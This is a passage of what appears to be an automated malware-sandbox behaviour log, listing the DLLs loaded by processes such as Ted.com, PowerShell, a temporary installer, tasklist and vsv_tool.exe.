Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723356\Ted.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-HEHVN.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\S25734VPZD3VQL5I0DLUI2DAUAHZO.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-EOJP5.tmp\S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: avifil32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: msvfw32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: olepro32.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe	Section loaded: propsys.dll
